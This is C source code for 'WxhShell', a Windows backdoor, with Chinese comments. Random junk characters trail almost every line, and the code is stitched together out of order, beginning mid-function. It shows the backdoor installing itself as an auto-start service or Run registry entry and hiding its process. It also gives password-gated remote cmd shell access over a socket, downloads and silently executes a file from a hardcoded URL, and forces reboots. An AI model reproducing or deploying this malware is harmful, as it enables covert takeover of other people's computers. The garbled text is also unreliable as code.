    if(Boot(SHUTDOWN)) }c=YiH,o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A`1-c   
    else { \ESNfL5  
    closesocket(wsh); <K <|G  
    ExitThread(0); ?MOjtAG0_~  
    } O)c3Lm-w  
    break; UaBNoD  
    } 8i Ew;I_  
  // 获取shell wcW7k(+0  
  case 's': { `$ pJ2S  
    CmdShell(wsh); .F3~eas  
    closesocket(wsh); r{wf;5d(  
    ExitThread(0); Y mm*p,`  
    break; _ygdv\^Tet  
  } K~+x@O*  
  // 退出 ik5"9b-\<  
  case 'x': { I5E+=.T*ar  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); et<@3wyd]  
    CloseIt(wsh); e#@u&+K/f  
    break; irMBd8WG  
    } Ct]? /  
  // 离开 /w2NO9Q  
  case 'q': { F41gMg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4%7Oaf>9  
    closesocket(wsh); 8# IEE|1  
    WSACleanup(); m5 l&  
    exit(1); 3v3`d+;&  
    break; S2?)Sb`  
        } 0aGAF ]  
  } eBqF@'DQ  
  } 3935cxT1U  
aT8A +=K6  
  // 提示信息 3iw. yR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g_)i)V  
} F6" QsFG  
  } =z'533C  
m Gx{Vpt  
  return; 4MRN{W6  
} 0OBwe6*  
RQ,X0 pS  
// shell模块句柄 qWJa p-hb  
int CmdShell(SOCKET sock) {'cdi`  
{ SDO~g~NTp  
STARTUPINFO si; mV}eMw  
ZeroMemory(&si,sizeof(si)); PMe3Or@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *}Rd%'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vqo ~?9z[e  
PROCESS_INFORMATION ProcessInfo; cq9d;~q  
char cmdline[]="cmd"; 0 gr#<(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); be'&tsZ9  
  return 0; Rk}=SB-  
} M] W5 %3do  
`3.bux~  
// 自身启动模式 MT<3OKo?:  
int StartFromService(void) uKo4nXVtp  
{ B|SX?X  
typedef struct :KsBJ>2ck  
{ 6e;8\1^  
  DWORD ExitStatus; ^@]yiED{g  
  DWORD PebBaseAddress; t_Ul;HVPS  
  DWORD AffinityMask; to)Pl}9QkK  
  DWORD BasePriority; Dm`gzGl  
  ULONG UniqueProcessId; _RX*Ps=  
  ULONG InheritedFromUniqueProcessId; =GLMdhD]  
}   PROCESS_BASIC_INFORMATION; Ms A)Y  
)`zfDio-1V  
PROCNTQSIP NtQueryInformationProcess; Y 4*?QBYA  
 DIh[%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #DcK{|ty  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2_){4+,fu  
E5$uvxCI  
  HANDLE             hProcess; }j,G)\g#  
  PROCESS_BASIC_INFORMATION pbi; bM $WU?Z  
T4}q%%7l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dZ\T@9+j+  
  if(NULL == hInst ) return 0; NjSjE_S2B8  
iPrAB*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dNz!2mbO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 92L{be; SY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *. ; }v@  
BO;LK-V  
  if (!NtQueryInformationProcess) return 0; <nn!9V\C   
RQ[6svfP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e6^iakSd.L  
  if(!hProcess) return 0; uB 35CRd  
i%9xt1c_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /f -\ 3  
BU;E6s>P  
  CloseHandle(hProcess); ) 2Hl\"F  
+K[H! fD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j(\jYH>   
if(hProcess==NULL) return 0; SL>0_  
^ v@& q  
HMODULE hMod; U+g<lgH1J  
char procName[255]; P3V }cGZ  
unsigned long cbNeeded; S|ADu]H(  
F% K}&3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gnU##Km|  
+4k7ti1Qb  
  CloseHandle(hProcess); q=cH ^`<.  
,?s: s&4  
if(strstr(procName,"services")) return 1; // 以服务启动 >"+bL6#  
44cy_  
  return 0; // 注册表启动 TzK[:o  
} h`/1JjP  
Toc="F`SW  
// 主模块 W>`#`u  
int StartWxhshell(LPSTR lpCmdLine) .R {P%r  
{ B!z5P" C(~  
  SOCKET wsl; }4"T# [n#  
BOOL val=TRUE; F#Xzh Ds  
  int port=0;   |HB  
  struct sockaddr_in door; ,Mw;kevw  
yS(tF`H[  
  if(wscfg.ws_autoins) Install(); 00@y,V_]  
X7& ^"|:  
port=atoi(lpCmdLine); _M7NL^B&  
wmG[*a_H  
if(port<=0) port=wscfg.ws_port; x$aFJ CL  
/|{~GD +A&  
  WSADATA data; Po82nKAh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .(2ui~ed  
$qj||zA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Md,KW#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *>p#/'_E  
  door.sin_family = AF_INET;  (.B+U'6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ndr4e?Xa,  
  door.sin_port = htons(port); .\+%Q)?h:  
'; Z!(r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `@|Kx\y4=j  
closesocket(wsl); Smlf9h&  
return 1; }F4   
} *^P$^lm?S  
T)PH8 "  
  if(listen(wsl,2) == INVALID_SOCKET) { t@\op}Z-M  
closesocket(wsl); 6H}8^'/u  
return 1; Qape DU;  
} G[5z3  
  Wxhshell(wsl); F%>`?NG+c  
  WSACleanup(); RP4P"m(   
I<ta2<h  
return 0; A VbGJ+  
ygquQhf5  
} h*\/{$y  
eC41PQ3=1'  
// 以NT服务方式启动 YE\s<$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |*WE@L5  
{ IQ"9#{o  
DWORD   status = 0; !o&b:7  
  DWORD   specificError = 0xfffffff; ..hD_k  
JgY#W1>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /xcl0oe(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N61\]BN<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r*t\\2  
  serviceStatus.dwWin32ExitCode     = 0; BTu_$5F  
  serviceStatus.dwServiceSpecificExitCode = 0; <i!7f26r  
  serviceStatus.dwCheckPoint       = 0; CA{(x(W\:  
  serviceStatus.dwWaitHint       = 0; COf>H0^%Q  
.IJgkP)!]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Td6"o&0A!  
  if (hServiceStatusHandle==0) return; Fz4g:8qdA  
KcQe1mT!+  
status = GetLastError(); :F`yAB3  
  if (status!=NO_ERROR) -<tfbaA  
{ N^{+1u7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,HLgb}~  
    serviceStatus.dwCheckPoint       = 0; I,xV&j+<  
    serviceStatus.dwWaitHint       = 0; E|fQbkfw  
    serviceStatus.dwWin32ExitCode     = status; J<'I.KZ\z  
    serviceStatus.dwServiceSpecificExitCode = specificError; !3'&_vmG$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @(m XiK  
    return; `<:D.9vO "  
  } 5<y pK`Kq  
I6E!$ }  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !DUC#)F  
  serviceStatus.dwCheckPoint       = 0; Hs~u&c  
  serviceStatus.dwWaitHint       = 0; z;VabOr^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >C|i^4ppI  
} 9(;I+.;8k  
D~s TQfWr  
// 处理NT服务事件,比如:启动、停止 c _v;"QZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RIO4`,  
{ 5==}8<$  
switch(fdwControl) +Ks! 9d*k<  
{ ,[{)4J$MV  
case SERVICE_CONTROL_STOP: y.:Z:w6$  
  serviceStatus.dwWin32ExitCode = 0; b0_Ih6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $h( B2  
  serviceStatus.dwCheckPoint   = 0; "2'pS<|  
  serviceStatus.dwWaitHint     = 0; 1k8zAtuj  
  { 6X@$xe847[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dNL<O   
  } a5AD$bP  
  return; Q{0!N8']"  
case SERVICE_CONTROL_PAUSE: E{Ux|r~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d]*a:>58  
  break; TE.O@:7Z  
case SERVICE_CONTROL_CONTINUE: ZOK,P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dqw?3 KB  
  break; Z/S7ei@56  
case SERVICE_CONTROL_INTERROGATE: eQRY xx{  
  break; vF,iHzv  
}; +=/FKzT<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jo_wBJKE  
} GrB+Y!{{  
U- a+LS  
// 标准应用程序主函数 _V`Gmy[]p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RvPC7,vh  
{ }H4Z726  
Rn-RMD{dh  
// 获取操作系统版本 LT3ViCZ-n  
OsIsNt=GetOsVer(); eaxp(VX?oy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [*k25N  
Iw<: k  
  // 从命令行安装 dk^Uf84.Gr  
  if(strpbrk(lpCmdLine,"iI")) Install(); kCu"G  
}RvP*i  
  // 下载执行文件 @l:o0(!W  
if(wscfg.ws_downexe) { JP t=~e(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 18AKM  
  WinExec(wscfg.ws_filenam,SW_HIDE); dSkW[r9Z%l  
} E?z~)0z2`  
^at X/  
if(!OsIsNt) { cN5,\I.  
// 如果时win9x,隐藏进程并且设置为注册表启动 !A\Qwg>  
HideProc(); \MA 4>  
StartWxhshell(lpCmdLine); $bd&$@sA  
} azxGUS_i<  
else J AK+v  
  if(StartFromService()) f2JeXsOI  
  // 以服务方式启动 &ZRriqsQg  
  StartServiceCtrlDispatcher(DispatchTable); EC4RA'Bg1k  
else ~P47:IZf  
  // 普通方式启动 i@C1}o-/  
  StartWxhshell(lpCmdLine); \NEXtr`Th  
SeC[,  
return 0; &z@~n  
} =wEqI)Td  
V u/{Hr  
C#r1zr6  
Y|NANjEAfm  
=========================================== s 9Y'MQo*  
/2!Wy6 p  
o-))R| ~z  
8 pQx6QE  
\C )S3!h  
QD6in>+B@  
" (Mk9##R#  
)e$}sw{t  
#include <stdio.h> NEpomE(>x  
#include <string.h> 5p.vo"7  
#include <windows.h> KZ"&c~[  
#include <winsock2.h> <QUjhWxDb  
#include <winsvc.h> {*Ag[HS0u  
#include <urlmon.h> g8JO/s5xV  
<@DF0x!  
#pragma comment (lib, "Ws2_32.lib") vbo:,]T<A  
#pragma comment (lib, "urlmon.lib") 9\_^"5l  
ne=?'e4  
#define MAX_USER   100 // 最大客户端连接数 _NfdJ=[Xh  
#define BUF_SOCK   200 // sock buffer \lJCBb+k  
#define KEY_BUFF   255 // 输入 buffer eCDwY:t`  
GI~JIXHTQ  
#define REBOOT     0   // 重启 yZ_6yJw3}  
#define SHUTDOWN   1   // 关机 }, < dGmkx  
@2Lp I*]C  
#define DEF_PORT   5000 // 监听端口 s\)0f_I  
zPonG d1  
#define REG_LEN     16   // 注册表键长度 U.fL uKt  
#define SVC_LEN     80   // NT服务名长度 5 (Lw-_y#  
_</>`P[  
// 从dll定义API *kmD/J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \i*QKV<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p f\ Ybbs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W:s>?(6?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~]MACG:'  
$Z{ap  
// wxhshell配置信息 n#2tFuPE  
struct WSCFG { ^~3u|u  
  int ws_port;         // 监听端口 @B@`V F  
  char ws_passstr[REG_LEN]; // 口令 m#\I&(l+  
  int ws_autoins;       // 安装标记, 1=yes 0=no [9wuaw"~[Z  
  char ws_regname[REG_LEN]; // 注册表键名 Q"6:W2#v  
  char ws_svcname[REG_LEN]; // 服务名 S2TyNZbQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x6i7x"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M+7&kt0;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A5UZUU^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \gBsAZE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H2ZRUFu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;qA(!`h+  
~o_zV'^f@o  
}; ?5N7,|K)  
Hwz.5hV"  
// default Wxhshell configuration eHQS\n  
struct WSCFG wscfg={DEF_PORT, t",=]k  
    "xuhuanlingzhe",  iI!MF1  
    1, f,jN"  
    "Wxhshell", \jkMnS6FvL  
    "Wxhshell", ?06+"Z  
            "WxhShell Service", HX;JO[0  
    "Wrsky Windows CmdShell Service", \E(Negt7  
    "Please Input Your Password: ", ` XvuyH  
  1, n=z=%T6  
  "http://www.wrsky.com/wxhshell.exe", ]^ e4coC  
  "Wxhshell.exe" c Y C@@?  
    }; qG]G0|f  
$ ?HOke  
// 消息定义模块 n A<#A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F}f/cG<X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c'wxCqnE   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F*}.0SQ  
char *msg_ws_ext="\n\rExit."; .T>^bLuFy  
char *msg_ws_end="\n\rQuit."; 8h.Dc&V  
char *msg_ws_boot="\n\rReboot..."; ^$N}[1   
char *msg_ws_poff="\n\rShutdown..."; U,tl)(!@Q-  
char *msg_ws_down="\n\rSave to "; W Ai91K@  
d)R7#HLZ7  
char *msg_ws_err="\n\rErr!"; CeZ+!-lG  
char *msg_ws_ok="\n\rOK!"; S'h{["P~ 0  
G1=/G  
char ExeFile[MAX_PATH]; u l-A'  
int nUser = 0; |7pi9  
HANDLE handles[MAX_USER]; w1Xe9'$Qb  
int OsIsNt; wNfWHaH" m  
+ a,x  
SERVICE_STATUS       serviceStatus; }akF=/M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aqw;T\GI+~  
 )S8fFV  
// 函数声明 l_ES $%d  
int Install(void); 9'My /A0  
int Uninstall(void); g'%^-S ]  
int DownloadFile(char *sURL, SOCKET wsh); RT`jWWh*Lo  
int Boot(int flag); DjMhI_Yu  
void HideProc(void); ]c+HD*  
int GetOsVer(void); z#( `H6n:  
int Wxhshell(SOCKET wsl); J)o =0i>*  
void TalkWithClient(void *cs); sTb@nrRxH  
int CmdShell(SOCKET sock); 38gHM9T xh  
int StartFromService(void); * NB:"1x  
int StartWxhshell(LPSTR lpCmdLine); G-DvM6T  
!W4X4@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dsUt[z1w5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k"L?("~   
ZLS\K/F>>=  
// 数据结构和表定义 "!AbH<M;@  
SERVICE_TABLE_ENTRY DispatchTable[] = Ih;I&D+e;  
{ oIJ.Tv@N(  
{wscfg.ws_svcname, NTServiceMain}, < %t$0'  
{NULL, NULL} O0~Qh0~l  
}; Z8vR/  
0ECQ>Ux:  
// 自我安装 67{3/(`x  
int Install(void) -s!cZ3  
{ /SvB w>gQ  
  char svExeFile[MAX_PATH]; (QFu``ae+  
  HKEY key; 8rNRQOXOa  
  strcpy(svExeFile,ExeFile); skeXsls  
@((Y[<  
// 如果是win9x系统,修改注册表设为自启动 mC,:.d  
if(!OsIsNt) { 2Sha&Z*CE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3c|u2Pl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P'Gf7sQt7  
  RegCloseKey(key); Q2 S!}A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? kBX:(g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :W6R]y  
  RegCloseKey(key); OngUZMgdb  
  return 0; ^rX5C2}G\D  
    } }TDoQ]P  
  } C}D\^(nLu.  
} VmbfwHRWb  
else { b;~?a#Z}  
m+LP5S  
// 如果是NT以上系统,安装为系统服务 +ak<yV1=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "/~KB~bB  
if (schSCManager!=0) r/e} DYL&  
{ ndE"v"_H  
  SC_HANDLE schService = CreateService rF:l+I]  
  ( <AN=@`+  
  schSCManager, C U 8s*  
  wscfg.ws_svcname, : 6|nXL  
  wscfg.ws_svcdisp, j +u3VP  
  SERVICE_ALL_ACCESS, i9O;D*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7&>==|gt  
  SERVICE_AUTO_START, Tz<@k  
  SERVICE_ERROR_NORMAL, _]"uq/UWp  
  svExeFile, q Xj]O3 mm  
  NULL, >713H!uj  
  NULL, 62Q`&n6  
  NULL, v*3tqT(%  
  NULL, `}o{o  
  NULL 8n~ o="  
  ); "NOll:5"(  
  if (schService!=0) %'3Y?d  
  { rWS],q=c  
  CloseServiceHandle(schService); }48 o{\  
  CloseServiceHandle(schSCManager); ])vWvNx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }Lc8tj<  
  strcat(svExeFile,wscfg.ws_svcname); ZBxV&.9/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xC^|S0B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e{k)]]J  
  RegCloseKey(key); C?-_8OA  
  return 0; V =-hqo(  
    } .cCB,re  
  } h#?)H7ft  
  CloseServiceHandle(schSCManager); G$7!/O%#_  
} hG!|ts  
} dxk~  
1_MaaA;ow"  
return 1; ps&p|  
} *;!p#qL  
kgGMA 7Jy  
// 自我卸载 t}m"rMbt  
int Uninstall(void) @S#Ls="G  
{ wVac6q  
  HKEY key; : kw14?]_  
9|5>?'CqP  
if(!OsIsNt) { *If ]f0?%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vWq/A.  
  RegDeleteValue(key,wscfg.ws_regname); G W~ZmK  
  RegCloseKey(key); s& Lyg>>`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w7"&\8a  
  RegDeleteValue(key,wscfg.ws_regname); 88~ lP7J  
  RegCloseKey(key); 3^2P7$W=   
  return 0; wU(N<9  
  } _]q%Hve  
} =CGB}qU l0  
} ?<h|Q~JH  
else { 1 ,e`,  
.~jn N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p5?8E$VHV  
if (schSCManager!=0) a0*qK)gH  
{ =!P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :j[a X7Sq2  
  if (schService!=0) c,FhI~>R  
  { D4;6}gRC  
  if(DeleteService(schService)!=0) { l>{+X )  
  CloseServiceHandle(schService); (rB?@:zN  
  CloseServiceHandle(schSCManager); OJTEvb6nPg  
  return 0; q%\rj?U_  
  } ,`.`}'  
  CloseServiceHandle(schService); w829 8Kl  
  } ^/_1y[j  
  CloseServiceHandle(schSCManager); .In8!hjYy4  
} <h[l)-86  
} u(bPdf@kz  
5l,Q=V^@l  
return 1; Y&y5^nG  
} 6fcn(&Qk  
[&H?--I  
// 从指定url下载文件 +E8}5pDt  
int DownloadFile(char *sURL, SOCKET wsh)  OYwH$5  
{ ns;nle|m  
  HRESULT hr; IP-}J$$1  
char seps[]= "/"; jSMs<ox  
char *token; [X=J]e^D  
char *file; ;&?l1Vu  
char myURL[MAX_PATH]; ^iz2 =}Q8  
char myFILE[MAX_PATH]; w/Ej>OS  
h& Q9  
strcpy(myURL,sURL); O({vHqN>  
  token=strtok(myURL,seps); HS[N]'dc  
  while(token!=NULL) t]PO4GA  
  { UCDvN  
    file=token; ]CZ&JL  
  token=strtok(NULL,seps); ZW>?y$C+  
  } {H$m1=S  
GFmVR2z_+  
GetCurrentDirectory(MAX_PATH,myFILE); w 7Y>B`wm?  
strcat(myFILE, "\\"); 97~*Z|#<+  
strcat(myFILE, file); Ey**j  
  send(wsh,myFILE,strlen(myFILE),0); qw mZOR#  
send(wsh,"...",3,0); o])2_e5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F2k)hG*|{  
  if(hr==S_OK) +'fdAc:5',  
return 0; itmQH\9 8  
else +pMjm&CF  
return 1; Fm,} sP"Qx  
Xh*p\ $  
} &f$[>yg1-  
Kk t9M\  
// 系统电源模块 -f!oq7U  
int Boot(int flag) +ziQ]r2g  
{ {8a s _  
  HANDLE hToken; kTe0"  
  TOKEN_PRIVILEGES tkp; i~04P  
~e@pL*s  
  if(OsIsNt) { +w'{I`QIL0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jhmWwT/O8^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *[?DnF+  
    tkp.PrivilegeCount = 1; n^m6m%J)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M.QXwIT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _O*"_^6  
if(flag==REBOOT) { @vcvte  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mk"V%)1k  
  return 0; 2~BId&]  
} 3cztMi  
else { ?]bZ6|;2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I%q&4L7pj  
  return 0; 7 *#pv}Y  
} r\sQ8/  
  } k2S6 SB  
  else { MX.=k>  
if(flag==REBOOT) { !Qd4Y=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lY_&P.B  
  return 0; ZZXQCP6]  
} TtaVvaz~>  
else { )^o7%KX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QX$i ]y%S  
  return 0; pdQ6/vh  
} .sk$@Q  
} DMY?'Nts!  
"jyh.@<  
return 1; 38hAg uZX  
} Im\{b=vT  
c>*RQ4vE  
// win9x进程隐藏模块 ]c \gUU  
void HideProc(void) BEv>?T 0  
{ 8yDu(.Q  
C$1}c[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k^IC"p Uc  
  if ( hKernel != NULL ) Jm+hDZrW  
  { .CL\``  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6jRUkI-!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1x^(vn#=  
    FreeLibrary(hKernel); -$]Tn#`Fb  
  } ?r,lgaw  
D%0GXUp  
return; )D:I@`*  
} N}*|*!6hI  
n0T'"i[  
// 获取操作系统版本 M)U 32gI:  
int GetOsVer(void) HZ1e~IIw  
{ @ qfVt  
  OSVERSIONINFO winfo; J=gerdIk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lF\oEMd*  
  GetVersionEx(&winfo); h>6'M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d2x|PpmH  
  return 1; &.Jp,Xt)  
  else ~8-Z=-  
  return 0; [kyF|3k~  
} CjtXU=}A  
/8GgEW9Q~G  
// 客户端句柄模块 IR+dGqIjZb  
int Wxhshell(SOCKET wsl)  wv2  
{ y6lle<SIu  
  SOCKET wsh; WJ9=hr  
  struct sockaddr_in client; 8- ?.Q"D7%  
  DWORD myID; Asn7 ;x0;  
DFz,>DM;  
  while(nUser<MAX_USER) oXc!JZ^  
{ L//Z\xr|  
  int nSize=sizeof(client); n0T\dc~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B?nQUIb:  
  if(wsh==INVALID_SOCKET) return 1; l!plw,PYC  
+oZq~2?*S6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XF{ g~M  
if(handles[nUser]==0) 8xQ5[Ov  
  closesocket(wsh); _(}{=:M?  
else lEBt<  
  nUser++; 3%] %c6  
  } 2NLD7A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X=Q)R1~6v  
?v>!wuiP  
  return 0; x.CNDG  
} /HsJyp+t  
*7C t#GC  
// 关闭 socket +s:!\(BM  
void CloseIt(SOCKET wsh) }@Ij}Ab>  
{ `/:ZB6  
closesocket(wsh); #7IM#t c@  
nUser--; G}d-L!YbE'  
ExitThread(0); r=<Oy1m/  
} fQ5V RpWGn  
C:/O]slH  
// 客户端请求句柄 U5]{`C0H?  
void TalkWithClient(void *cs) )z/+!y  
{ P {x`eD0  
GqXnOmk  
  SOCKET wsh=(SOCKET)cs; {H+~4XG  
  char pwd[SVC_LEN]; >;eWgQ6V  
  char cmd[KEY_BUFF]; aU,Zjm7fp  
char chr[1]; (c ?OcwTH  
int i,j; \f6SA{vR|  
%vvA'WG  
  while (nUser < MAX_USER) { I @TR|  
H3Y FbR  
if(wscfg.ws_passstr) { .eAN`-t;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |1zoT|}q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Ym7XF&  
  //ZeroMemory(pwd,KEY_BUFF); epsh&)5a*  
      i=0; 4=S.U`t7  
  while(i<SVC_LEN) { .7Zb,r  
%e2,p&0G  
  // 设置超时 F_o5(`>^  
  fd_set FdRead; { as#lHn  
  struct timeval TimeOut; PG<tic<?  
  FD_ZERO(&FdRead); [R[]&\W  
  FD_SET(wsh,&FdRead); -t_t3aU|  
  TimeOut.tv_sec=8; bT<if@h-  
  TimeOut.tv_usec=0; -y70-K3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _5(lp} s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sK8=PZ \  
n=#AH;42  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v1Tla]d  
  pwd=chr[0]; )$XW~oA'  
  if(chr[0]==0xd || chr[0]==0xa) { ^s/HbCA  
  pwd=0; !%{/eQFT4  
  break; <H{%`  
  } K,{P b?  
  i++; f 4CS  
    } ;/w-7O:  
&<}vs`W  
  // 如果是非法用户,关闭 socket j^#4!Ue  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9MQ!5Zn  
} S)T]>Ash  
{  O+d7,C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @sUYjB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r>4HF"Nm  
jnfktDV'  
while(1) { Atc<xp  
^'j? { @  
  ZeroMemory(cmd,KEY_BUFF); ]n9o=^q/  
A)9OkLrc  
      // 自动支持客户端 telnet标准   o! W 71  
  j=0; ocCq$%Ka  
  while(j<KEY_BUFF) { #@s[!4)_I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lXH?*  
  cmd[j]=chr[0]; e P]L  
  if(chr[0]==0xa || chr[0]==0xd) { Y ;$wD9W  
  cmd[j]=0; {"T$j V:GB  
  break; tHAr9  
  } HriY-=ji>a  
  j++; :.wR*E  
    } .J0s_[  
bBwQ1,c$  
  // 下载文件 iV#sMJN9  
  if(strstr(cmd,"http://")) { `|maf=SnY5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {;uOc{~+  
  if(DownloadFile(cmd,wsh)) 5}S~8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nBw4YDR!  
  else {~J'J$hn8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -]$q8 Q(hM  
  } "Sm'TZx  
  else {  -D*,*L  
8S*3W3HY  
